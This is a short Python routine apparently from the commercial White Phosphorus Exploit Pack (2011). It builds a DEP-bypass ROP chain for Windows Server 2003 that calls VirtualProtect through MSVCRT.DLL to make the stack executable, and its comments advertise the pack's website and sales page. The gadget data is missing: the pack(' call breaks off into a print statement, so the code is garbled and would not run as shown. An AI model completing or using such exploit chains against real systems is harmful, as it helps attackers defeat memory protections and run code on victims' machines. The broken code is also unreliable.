#+-------- --- - #| White Phosphorus Exploit Pack Universal 2k3 DEP Bypass Chain #| July 2011 #+-- from struct import pack def wp_UniversalDEPBypassWin2k3_VP(size=2200): # White Phosphorus (2010) # Universal DEP Bypass for Windows 2k3 SP1/SP2 using VirtualProtect # # This routine will make the current ESP + size bytes of the stack frame # executable using VirtualProtect and then return to the stack # # Uses MSVCRT.DLL which has remained static on 2k3 from SP1->Current # # web: http://www.whitephosphorus org # mail: support@whitephosphorus org # sales: http://www.immunityinc.com/products-whitephosphorus.shtml size += 48 # This is the size of the DEP bypass + ptr in # relation to the initial ESP print "WP> Building Universal Windows 2003 DEP bypass using VirtualProtect" depBypass = pack(' Universal DEP Bypass Size: %d Bytes" % len(depBypass) return depBypass